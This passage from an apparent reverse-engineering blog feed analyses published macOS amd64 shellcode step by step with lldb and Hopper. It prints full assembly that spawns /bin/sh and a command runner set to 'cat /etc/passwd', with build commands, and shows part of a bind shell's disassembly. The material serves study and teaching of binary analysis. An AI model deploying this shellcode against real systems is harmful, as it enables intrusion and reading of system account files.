<p>Now, if we look to other xnu versions, the API 30 is documented. Especially if we look at the URI: <a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.50.7.100.1/bsd/kern/syscalls.master.auto.html">https://opensource.apple.com/source/xnu/xnu-7195.50.7.100.1/bsd/kern/syscalls.master.auto.html</a> we have the following:</p>
<pre><code><span class="hljs-number">30</span>    AUE_ACCEPT    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">accept</span><span class="hljs-params">(<span class="hljs-keyword">int</span> s, <span class="hljs-keyword">caddr_t</span> name, <span class="hljs-keyword">socklen_t</span>    *anamelen)</span> NO_SYSCALL_STUB</span>; }
</code></pre><p>which is more actionable. Defined as</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/socket.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">accept</span><span class="hljs-params">(<span class="hljs-keyword">int</span> socket, struct sockaddr *<span class="hljs-keyword">restrict</span> address, <span class="hljs-keyword">socklen_t</span> *<span class="hljs-keyword">restrict</span> address_len)</span></span>;
</code></pre><p>the man page for this API contains:</p>
<blockquote>
<p>The argument socket is a socket that has been created with socket(2), bound to an address with bind(2), and is listening for connections after a listen(2).  accept() extracts the first connection request on the queue of pending connections, creates a new socket with the same properties of socket, and allocates a new file descriptor for the socket.  If no pending connections are present on the queue, and the socket is not marked as non-blocking, accept() blocks the caller until a connection is present.  If the socket is marked non-blocking and no pending connections are present on the queue, accept() returns an error as described below.  The accepted socket may not be used to accept more connections.  The original socket socket, remains open.</p>
<p>The argument address is a result parameter that is filled in with the address of the connecting entity, as known to the communications layer.  The exact format of the address parameter is determined by the domain in which the communication is occurring.  The address_len is a value-result parameter; it should initially contain the amount of space pointed to by address; on return it will contain the actual length (in bytes) of the address returned.  This call is used with connection-based socket types, currently with SOCK_STREAM.</p>
<p>It is possible to select(2) a socket for the purposes of doing an accept() by selecting it for read.</p>
</blockquote>
<p>Now let's reverse engineer this call. The status of the registers is:</p>
<table>
    <tr>
        <th>Param. no.</th>
        <th>Register</th>
        <th>Value</th>
    </tr>

    <tr>
        <td>1</td>
        <td><code>RDI</code></td>
        <td><code>0x0000000000000003</code></td>
    </tr>

    <tr>
        <td>2</td>
        <td><code>RSI</code></td>
        <td><code>0x0000000000000030</code></td>
    </tr>

    <tr>
        <td>3</td>
        <td><code>RDX</code></td>
        <td><code>0x0000000000000000</code></td>
    </tr>
</table>

<p>The first parameter is the usual file descriptor for the socket. Nothing new.
As for the two remaining parameters, they are not very relevant here, as they are used when storing the address of the incoming requests.</p>
<p>Once the syscall is executed, the program accepts incoming connections, creating a file descriptor for it.</p>
<p>The values of <code>RAX</code> and <code>RDI</code> are exchanged, so <code>RAX</code> will contain the socket file descriptor and <code>RDI</code> the connection file descriptor (instruction <code>&lt;+54&gt;</code>).</p>
<p>The instructions <code>&lt;+55&gt;</code> and <code>&lt;+56&gt;</code> simply store the value of <code>RBX</code> into <code>RSI</code>.</p>
<p>Now the control flows reaches the <code>dup_loop64</code> label. We enter the Handle management section. </p>
<p>Before getting there, let's dump the status of the registers:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> 
<span class="hljs-attr">General Purpose Registers:</span>
       <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000003</span>
       <span class="hljs-string">rbx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000002</span>
       <span class="hljs-string">rcx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003f93</span>  <span class="hljs-string">bindshell`main</span> <span class="hljs-string">+</span> <span class="hljs-number">54</span>
       <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000000000000e</span>
       <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000002</span>
       <span class="hljs-string">rbp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000002000000</span>
       <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff8a0</span>
        <span class="hljs-string">r8</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000000001085b1</span>
        <span class="hljs-string">r9</span> <span class="hljs-string">=</span> <span class="hljs-number">0xffffffff00000000</span>
       <span class="hljs-string">r10</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">r11</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000347</span>
       <span class="hljs-string">r12</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000001000883a0</span>  <span class="hljs-string">dyld`_NSConcreteStackBlock</span>
       <span class="hljs-string">r13</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff958</span>
       <span class="hljs-string">r14</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003f5d</span>  <span class="hljs-string">bindshell`main</span>
       <span class="hljs-string">r15</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100074010</span>  <span class="hljs-string">dyld`dyld4::sConfigBuffer</span>
       <span class="hljs-string">rip</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003f96</span>  <span class="hljs-string">bindshell`dup_loop64</span>
    <span class="hljs-string">rflags</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000247</span>
        <span class="hljs-string">cs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000000000002b</span>
        <span class="hljs-string">fs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
        <span class="hljs-string">gs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
</code></pre><h2 id="heading-handle-management">Handle management</h2>
<p>We need to redirect <code>STDIN</code>, <code>STDOUT</code>, and <code>STDERR</code> to the newly created connection. This is accomplished in this loop:</p>
<pre><code>    <span class="hljs-number">0x100003f96</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">0</span><span class="hljs-operator">&gt;</span>:  push   rbp
    <span class="hljs-number">0x100003f97</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">1</span><span class="hljs-operator">&gt;</span>:  pop    rax
    <span class="hljs-number">0x100003f98</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">2</span><span class="hljs-operator">&gt;</span>:  mov    al, <span class="hljs-number">0x5a</span>
    <span class="hljs-number">0x100003f9a</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">4</span><span class="hljs-operator">&gt;</span>:  syscall 
    <span class="hljs-number">0x100003f9c</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">6</span><span class="hljs-operator">&gt;</span>:  sub    esi, <span class="hljs-number">0x1</span>
    <span class="hljs-number">0x100003f9f</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">9</span><span class="hljs-operator">&gt;</span>:  jns    <span class="hljs-number">0x100003f96</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">0</span><span class="hljs-operator">&gt;</span>
</code></pre><p>Before the loop takes place, we have <code>rsi = 0x0000000000000002</code>. The instructions <code>&lt;+6&gt;</code> and <code>&lt;+7&gt;</code> respectively decrement the register and jump to the label in case of a negative value, in other words, <code>rsi</code> will take the values 2, 1, 0 throughout the loop. These are respectively the symbolic constants <code>STDERR</code>, <code>STDOUT</code>, and <code>STDIN</code>. Since <code>rsi</code> contains the second parameter to any API, this loop will have the syscall invoked with the three constants. The first three instructions instantiate the value of <code>RAX</code> for the syscall.</p>
<p>Now, <code>0x5a</code> in decimal is 90, corresponding to the syscall:</p>
<pre><code><span class="hljs-number">90</span>      AUE_DUP2        <span class="hljs-keyword">ALL</span>     { <span class="hljs-type">int</span> sys_dup2(u_int <span class="hljs-keyword">from</span>, u_int <span class="hljs-keyword">to</span>); }
</code></pre><p>and we already know what we have to do: <code>man 2 dup2</code>.</p>
<p>Chiefly, this call duplicates an existing object descriptor to another. In this case, this implements the redirection.</p>
<h2 id="heading-shell-execution">Shell execution</h2>
<p>We already discussed this code in <a target="_blank" href="https://blog.reveng3.org/come-taste-some-shellcode">Come taste some shellcode...</a>.</p>
<h1 id="heading-conclusions">Conclusions</h1>
<p>This lesson has been very productive, in fact we obtained:</p>
<ol>
<li>learning how to produce a null-byte-free code</li>
<li>reviewed some techniques to set the syscall numbers</li>
<li>learned about some types' sizes</li>
<li>got acquainted (hopefully!) with AMD calling conventions</li>
<li>learned a methodology to investigate syscalls</li>
<li>learned how to pass pointers to routines and about the stack.</li>
</ol>
<p>I must admit that the usage of lldb for complex projects may not be sufficient. I am making a point of approaching larger projects with two disassemblers side by side.</p>
]]></content:encoded></item><item><title><![CDATA[Some more shellcode]]></title><description><![CDATA[Abstract
In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64. 

In the last article, Come taste some shellcode..., we introduced some basic binary analysis and we learned how to ca...]]></description><link>https://blog.reveng3.org/some-more-shellcode</link><guid isPermaLink="true">https://blog.reveng3.org/some-more-shellcode</guid><category><![CDATA[operating system]]></category><category><![CDATA[hacking]]></category><category><![CDATA[coding]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Mon, 11 Apr 2022 08:46:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1649336551036/gFWXYAtZ3.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-abstract">Abstract</h1>
<p><em>In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page <a target="_blank" href="https://modexp.wordpress.com/2017/01/21/shellcode-osx/">Shellcode: Mac OSX amd64</a>. 
</em></p>
<p><em>In the last article, <a target="_blank" href="https://blog.reveng3.org/come-taste-some-shellcode">Come taste some shellcode...</a>, we introduced some basic binary analysis and we learned how to call a syscall with no arguments. In this article, we will analyse how to work with more complex arguments.
</em></p>
<p><em>I will also introduce the hopper disassembler (<a target="_blank" href="https://www.hopperapp.com/">https://www.hopperapp.com/</a>), one of the tools I use the most.</em></p>
<h1 id="heading-execute-a-command">Execute a command</h1>
<p>We start with the code:</p>
<pre><code>; <span class="hljs-number">43</span> <span class="hljs-keyword">bytes</span> execute command
;
bits    <span class="hljs-number">64</span>

global _main
_main:
    push    <span class="hljs-number">59</span>
    pop     rax         ; eax <span class="hljs-operator">=</span> sys_execve
    cdq                 ; edx <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
    bts     eax, <span class="hljs-number">25</span>     ; eax <span class="hljs-operator">=</span> <span class="hljs-number">0x0200003B</span>
    mov     rbx, <span class="hljs-string">'/bin//sh'</span>
    push    rdx         ; <span class="hljs-number">0</span>
    push    rbx         ; <span class="hljs-string">"/bin//sh"</span>
    push    rsp
    pop     rdi         ; rdi<span class="hljs-operator">=</span><span class="hljs-string">"/bin//sh"</span>, <span class="hljs-number">0</span>
    ; <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
    push    rdx         ; <span class="hljs-number">0</span>
    push    word <span class="hljs-string">'-c'</span>
    push    rsp
    pop     rbx         ; rbx<span class="hljs-operator">=</span><span class="hljs-string">"-c"</span>, <span class="hljs-number">0</span>
    push    rdx         ; argv[<span class="hljs-number">3</span>]<span class="hljs-operator">=</span>NULL
    jmp     l_cmd64

r_cmd64:                ; argv[<span class="hljs-number">2</span>]<span class="hljs-operator">=</span>cmd
    push    rbx         ; argv[<span class="hljs-number">1</span>]<span class="hljs-operator">=</span><span class="hljs-string">"-c"</span>
    push    rdi         ; argv[<span class="hljs-number">0</span>]<span class="hljs-operator">=</span><span class="hljs-string">"/bin//sh"</span>
    push    rsp
    pop     rsi         ; rsi<span class="hljs-operator">=</span>argv
    syscall

l_cmd64:
    call    r_cmd64
    ; put your command here followed by null terminator
    db      <span class="hljs-string">'cat /etc/passwd'</span>,<span class="hljs-number">0</span>
</code></pre><p>We compile and link it:</p>
<pre><code>gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> nasm <span class="hljs-operator">-</span>f macho64 cmdRun.asm
gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> ld <span class="hljs-operator">-</span>L <span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Developer<span class="hljs-operator">/</span>CommandLineTools<span class="hljs-operator">/</span>SDKs<span class="hljs-operator">/</span>MacOSX.sdk/usr<span class="hljs-operator">/</span>lib <span class="hljs-operator">-</span>lSystem <span class="hljs-operator">-</span>o cmdRun cmdRun.o
</code></pre><p>and we can obviously run it. I will not - why should I disclose the users in my machine, anyway? - however, it runs perfectly on my MacOS Monterey.</p>
<h2 id="heading-a-bit-of-static-analysis">A bit of static analysis</h2>
<p>If you read this blog, the following commands should not be new to you. If not, you may want to read previous articles :) or do some <code>man</code> around. </p>
<h3 id="heading-getting-information-about-the-executable">Getting information about the executable</h3>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX Odzhan % file cmdRun
<span class="hljs-attribute">cmdRun</span>: Mach-O <span class="hljs-number">64</span>-bit executable x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
</code></pre><p>No surprises here. Just compare the above with how we compiled the file.</p>
<h3 id="heading-looking-for-c-strings">Looking for C strings</h3>
<p>There is none. in fact:</p>
<pre><code><span class="hljs-symbol">gbiondo@</span>tripleX Odzhan % strings cmdRun
<span class="hljs-symbol">gbiondo@</span>tripleX Odzhan %
</code></pre><h3 id="heading-getting-information-about-the-sections">Getting information about the sections</h3>
<p>This is a very simple program, after all:</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX Odzhan % objdump -m --section-headers cmdRun

<span class="hljs-attribute">Sections</span>:
<span class="hljs-attribute">Idx</span> Name          Size     VMA              Type
  <span class="hljs-attribute">0</span> __text        <span class="hljs-number">0000003</span>b <span class="hljs-number">0000000100003</span>f<span class="hljs-number">7</span>d TEXT
  <span class="hljs-attribute">1</span> __unwind_info <span class="hljs-number">00000048</span> <span class="hljs-number">0000000100003</span>fb<span class="hljs-number">8</span> DATA
</code></pre><h3 id="heading-getting-the-symbol-table">Getting the symbol table</h3>
<p>No big hint is given by the symbol table:</p>
<pre><code>gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span>m <span class="hljs-operator">-</span><span class="hljs-operator">-</span>syms cmdRun           
cmdRun:

SYMBOL TABLE:
0000000100003f9d l     F __TEXT,__text r_cmd64
0000000100000000 g       <span class="hljs-operator">*</span>ABS<span class="hljs-operator">*</span> __mh_execute_header
0000000100003f7d g     F __TEXT,__text _main
</code></pre><h2 id="heading-dynamic-analysis">Dynamic Analysis</h2>
<p>Time for some debugging. This time we are using Hopper. This is not supposed to be a tutorial for hopper (which can be found here: <a target="_blank" href="https://www.hopperapp.com/tutorial.html">https://www.hopperapp.com/tutorial.html</a> or under the menu <strong>Help</strong> of the application).</p>
<p>Let's remember what an <code>execve</code>-based shellcode must do:</p>
<ul>
<li>first parameter must be stored in <code>RDI</code>. It is a pointer to a string, holding the path of the executable.</li>
<li>second parameter must be stored in <code>RSI</code>. It is a pointer to a null-terminated array of strings, containing the parameters to the command.</li>
<li>third parameter must be stored in <code>RDX</code>. It is a pointer to a null-terminated array of strings, containing the environment variables.</li>
</ul>
<p>I am choosing <strong>Select Debugger</strong> from the <strong>Debug</strong> menu, and I opt for the local debugger. I am then presented with this window:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649340325090/34T5PnLIr.png" alt="Screenshot 2022-04-07 at 15.05.17.png" /></p>
<p>Observe the "Controls" box. There are 10 buttons. From left to right, these are:</p>
<ul>
<li>Continue execution</li>
<li>Pause execution</li>
<li>Step into</li>
<li>Step out</li>
<li>Step over</li>
<li>Continue until current position</li>
<li>Continue until basic block end</li>
<li>Trace procedure</li>
<li>Stop execution</li>
<li>Toggle breakpoint</li>
</ul>
<p>Below, a Tab View controller can be seen. It contains four main areas we are interested into:</p>
<ul>
<li>General purpose registers (GPR)</li>
<li>Memory</li>
<li>Debugger Console</li>
<li>Application Output</li>
</ul>
<p>I also set a breakpoint at the beginning of the <code>main</code> routine:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649340393139/4pgaH5jpQ.png" alt="Screenshot 2022-04-07 at 15.05.57.png" /></p>
<p>It's worthwhile to set some breakpoints around. At the beginning, we'll stop at each single instruction.</p>
<p>If we set a breakpoint to the very next instruction and we hit Continue execution twice, we'll notice how the contents of the RAX register changes (59 has been pushed to the stack and then popped to RAX).</p>
<p>Before:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649341303978/SU5Me2iAC.png" alt="Screenshot 2022-04-07 at 15.21.10.png" /></p>
<p>After:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649341320714/A2tdqM1xq.png" alt="Screenshot 2022-04-07 at 15.21.25.png" /></p>
<p>If we continue, there's the CDQ instruction. It sets RDX=0, since EAX is signed positive at the current point (see below). </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649341723590/Ky14KKuZr.png" alt="Screenshot 2022-04-07 at 15.28.13.png" /></p>
<p>Then the 25th bit is set to 1 - this technique should already be familiar to the reader, we won't illustrate it.</p>
<p>With the next instruction we can see something I love about Hopper. The instruction is illustrated below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649342079890/d2lo3soRq.png" alt="Screenshot 2022-04-07 at 15.32.01.png" />
or, in plain text</p>
<pre><code><span class="hljs-attribute">movabs</span>     rbx, <span class="hljs-number">0</span>x<span class="hljs-number">68732</span>f<span class="hljs-number">2</span>f<span class="hljs-number">6</span>e<span class="hljs-number">69622</span>f
</code></pre><p>If we right click on the <code>0x68732f2f6e69622f</code> operand and select "Characters", we convert it into something more human readable (in this case, <code>/bin//sh</code>). Good job, Hopper!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649342216083/dthK-8H7r.png" alt="Screenshot 2022-04-07 at 15.32.55.png" /></p>
<p>and RBX will be updated accordingly.</p>
<p>We hit continue, and first the contents of RDX (a zeroed register) and the contents of RBX (<code>0x68732F2F6E69622F</code>, the string <code>/bin//sh</code>) are pushed to the stack. After this, we obtain a null-terminated string containing <code>/bin//sh</code>. </p>
<p>In fact, before running the instructions, <code>RSP</code>, the stack pointer, points to <code>00007FF7BFEFFA68</code>. The contents of the memory can be seen in the third line of the memory dump of the image below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649408798620/vC-Be_eYV.png" alt="Screenshot 2022-04-08 at 09.57.59.png" /></p>
<p>Then <code>RDX</code> is pushed and <code>RSP</code> updated accordingly, so <code>RSP</code> becomes <code>00007FF7BFEFFA60</code>. The stack is updated, see second line of the memory pane: </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649408815523/rLBYW9PhI.png" alt="Screenshot 2022-04-08 at 10.01.23.png" /></p>
<p>Finally <code>RBX</code> is pushed and we have:</p>
<ul>
<li><code>RSP</code>: contains <code>00007FF7BFEFFA58</code></li>
<li><code>RBX</code>: contains <code>68732F2F6E69622F</code></li>
<li>and the stack is represented below</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649408835685/LpV1R5NiZ.png" alt="Screenshot 2022-04-08 at 10.04.53.png" /></p>
<p>The contents of the stack are then popped in <code>RDI</code>. Let's have a look at what we have after the instruction <code>pop rdi</code> is executed:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649663915045/I_hM4ab8j.png" alt="Screenshot 2022-04-11 at 08.58.15.png" /></p>
<p>Now the contents of <code>RDX</code> are pushed in the stack, and then we push also the constant <code>0x632d</code>, which is the string <code>-c</code>. See below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649664353997/opLNsy5Cq.png" alt="Screenshot 2022-04-11 at 09.05.29.png" /></p>
<p>The stack looks as follows:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649664437809/zszcBxvoN.png" alt="Screenshot 2022-04-11 at 09.06.33.png" /></p>
<p>The next instruction pushes the contents of <code>rsp</code> in the stack, then the value is popped  in <code>rbx</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649664821879/56JLKXv5m.png" alt="Screenshot 2022-04-11 at 09.13.33.png" /></p>
<p>Finally, the value of <code>rdx</code>, which is null, is pushed into the stack. Now there's a noticeable difference between the original code, with two labels (<code>r_cmd64</code> and <code>l_cmd64</code>), and the code that's been first assembled and linked, then disassembled. Only <code>r_cmd64</code> is present, and the instruction <code>jmp r_cmd64+6</code> is used instead. When hit 'continue', the jump sends the control flow to <code>0x0000000100003FA3</code> which contains <code>call r_cmd64</code>.  Why jumping back and forth? The reason is that this way we place the pointer to the command string in the stack. Below there's the 'before'... </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649666154304/R27dOl8UJ.png" alt="Screenshot 2022-04-11 at 09.33.41.png" /></p>
<p>...and the 'after':</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649666168169/YRtYfi0Yx.png" alt="Screenshot 2022-04-11 at 09.35.01.png" /></p>
<p>Now it's possible pushing <code>rsp</code> and popping the value into <code>rsi</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649666359273/gOsnOIw0f.png" alt="Screenshot 2022-04-11 at 09.38.48.png" /></p>
<p>and</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649666374922/c2-N8NmLM.png" alt="Screenshot 2022-04-11 at 09.39.09.png" /></p>
<p>Finally the syscall is invoked, and the execution of the shellcode terminates.</p>
<h2 id="heading-conclusions">Conclusions</h2>
<p>As strange as it may seem, I find easier working with <code>lldb</code> - but I am an old guy :) 
Hopper has powerful features anyway - I am using it for many other purposes (like changing memory contents on the fly).</p>
<p>We have shown how to approach some static and dinamic binary analysis for this kind of programs. </p>
<p>Finally: we start to <em>understand</em> assembly, but always having no talent and being proud of having none!</p>
]]></content:encoded></item><item><title><![CDATA[Come taste some shellcode...]]></title><description><![CDATA[Abstract
In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64. 
This is a wonderful way to learn some assembly on MacOS, and introduce some secure software development practices.
Pl...]]></description><link>https://blog.reveng3.org/come-taste-some-shellcode</link><guid isPermaLink="true">https://blog.reveng3.org/come-taste-some-shellcode</guid><category><![CDATA[hacking]]></category><category><![CDATA[operating system]]></category><category><![CDATA[macOS]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Wed, 06 Apr 2022 13:58:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1649329254536/pIgxpf3jK.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-abstract">Abstract</h2>
<p><em>In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page <a target="_blank" href="https://modexp.wordpress.com/2017/01/21/shellcode-osx/">Shellcode: Mac OSX amd64</a>. </em></p>
<p><em>This is a wonderful way to learn some assembly on MacOS, and introduce some secure software development practices.</em></p>
<p><em>Plus, it is fun!</em></p>
<h1 id="heading-spawning-a-shell">Spawning a shell</h1>
<p>This is <em>the</em> shellcode. Where it all begins. This will help us to introduce syscalls and the syscall we'll use the most, <code>execve</code>.</p>
<p>Let's start with some definitions. We'll borrow Wikipedia's:</p>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/System_call">Syscall</a></p>
<blockquote>
<p>a system call (commonly abbreviated to syscall) is the programmatic way in which a computer program requests a service from the kernel of the operating system on which it is executed. This may include hardware-related services (for example, accessing a hard disk drive or accessing the device's camera), creation and execution of new processes, and communication with integral kernel services such as process scheduling. System calls provide an essential interface between a process and the operating system. </p>
</blockquote>
<p>Syscalls are widely used throughout programs - the concept is not strange at all. </p>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Shellcode">Shellcode</a></p>
<blockquote>
<p>a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.</p>
</blockquote>
<p>So the "shellcode" is actually the exploit, the hack, the payload, the call-it-whatever that subverts the program.</p>
<p>As we are talking about Apple MacOS, we'll largely refer to XNU's source code - especially the <a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/kern/syscalls.master.auto.html">syscalls.master</a> file.</p>
<p>Let's see the original code. </p>
<pre><code>; <span class="hljs-number">26</span> <span class="hljs-keyword">bytes</span> execute <span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>sh
;
bits    <span class="hljs-number">64</span>
global _main
_main:

    xor     esi, esi         ; esi <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
    mul     esi              ; eax <span class="hljs-operator">=</span> <span class="hljs-number">0</span>, edx <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
    bts     eax, <span class="hljs-number">25</span>          ; eax <span class="hljs-operator">=</span> <span class="hljs-number">0x02000000</span>
    mov     al, <span class="hljs-number">59</span>           ; rax <span class="hljs-operator">=</span> sys_execve
    mov     rbx, <span class="hljs-string">'/bin//sh'</span>
    push    rdx              ; <span class="hljs-number">0</span>
    push    rbx              ; <span class="hljs-string">"/bin//sh"</span>
    push    rsp
    pop     rdi              ; rdi<span class="hljs-operator">=</span><span class="hljs-string">"/bin//sh"</span>, <span class="hljs-number">0</span>
    syscall
</code></pre><p>We first observe that there is some usage inconsistency, here. <code>e*</code> registers are 32 bits, <code>al</code> is 16 bits, and <code>r*</code> registers are 64 bits.  However, this code compiles and runs:</p>
<pre><code>gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> nasm <span class="hljs-operator">-</span>f macho64 shellspawn.asm                                                                       
gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> ld <span class="hljs-operator">-</span>L <span class="hljs-operator">/</span>Library<span class="hljs-operator">/</span>Developer<span class="hljs-operator">/</span>CommandLineTools<span class="hljs-operator">/</span>SDKs<span class="hljs-operator">/</span>MacOSX.sdk/usr<span class="hljs-operator">/</span>lib <span class="hljs-operator">-</span>lSystem <span class="hljs-operator">-</span>o shellspawn shellspawn.o
gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> ./shellspawn                                                                                         

The default interactive shell <span class="hljs-keyword">is</span> <span class="hljs-built_in">now</span> zsh.
To update your account to use zsh, please run `chsh <span class="hljs-operator">-</span>s <span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>zsh`.
For more details, please visit https:<span class="hljs-comment">//support.apple.com/kb/HT208050.</span>
bash<span class="hljs-number">-3</span>.2$ ps <span class="hljs-operator">-</span>ef <span class="hljs-operator">|</span>grep <span class="hljs-operator">-</span>i bash
    <span class="hljs-number">0</span>   <span class="hljs-number">695</span>   <span class="hljs-number">621</span>   <span class="hljs-number">0</span> Sun12PM ttys000    <span class="hljs-number">0</span>:00<span class="hljs-number">.03</span> login <span class="hljs-operator">-</span>pfl gbiondo <span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>bash <span class="hljs-operator">-</span>c exec <span class="hljs-operator">-</span>la zsh <span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>zsh
  <span class="hljs-number">503</span> <span class="hljs-number">46117</span>   <span class="hljs-number">703</span>   <span class="hljs-number">0</span>  <span class="hljs-number">2</span>:30PM ttys001    <span class="hljs-number">0</span>:00<span class="hljs-number">.01</span> (bash)
  <span class="hljs-number">503</span> <span class="hljs-number">46123</span> <span class="hljs-number">46117</span>   <span class="hljs-number">0</span>  <span class="hljs-number">2</span>:30PM ttys001    <span class="hljs-number">0</span>:00<span class="hljs-number">.00</span> grep <span class="hljs-operator">-</span>i bash
    <span class="hljs-number">0</span> <span class="hljs-number">23384</span>   <span class="hljs-number">621</span>   <span class="hljs-number">0</span>  <span class="hljs-number">4</span>:13PM ttys002    <span class="hljs-number">0</span>:00<span class="hljs-number">.02</span> login <span class="hljs-operator">-</span>pfl gbiondo <span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>bash <span class="hljs-operator">-</span>c exec <span class="hljs-operator">-</span>la zsh <span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>zsh
bash<span class="hljs-number">-3</span>.2$ exit
gbiondo@tripleX Odzhan <span class="hljs-operator">%</span>
</code></pre><p>In the result of the process status command, we see that the command that has been run is <code>/bin/bash -c exec -la zsh /bin/zsh</code>. Shortly, the code before spawns a shell. </p>
<p>To understand what is going on in the program, one should know how parameters are passed to invoked routines and what parameters are required to syscall.</p>
<table>
    <tr>
        <th>Param. no.</th>
        <th>Register</th>
        <th>Register name</th>
    </tr>

    <tr>
        <td>1</td>
        <td><code>RDI</code></td>
        <td>Destination index register.</td>
    </tr>

    <tr>
        <td>2</td>
        <td><code>RSI</code></td>
        <td>Source index register. </td>
    </tr>

    <tr>
        <td>3</td>
        <td><code>RDX</code></td>
        <td>Data Register.</td>
    </tr>
</table>

<p>In detail: </p>
<ul>
<li><strong>Destination index register</strong> is used for string, memory array copying and setting, and for far pointer addressing with <code>ES</code>.</li>
<li><strong>Source index register</strong> is used for string and memory array copying. </li>
<li><strong>Data register</strong> is used for I/O port access, arithmetic, some interrupt calls. The data register is used in I/O operations as well as preferred in division and multiplication.</li>
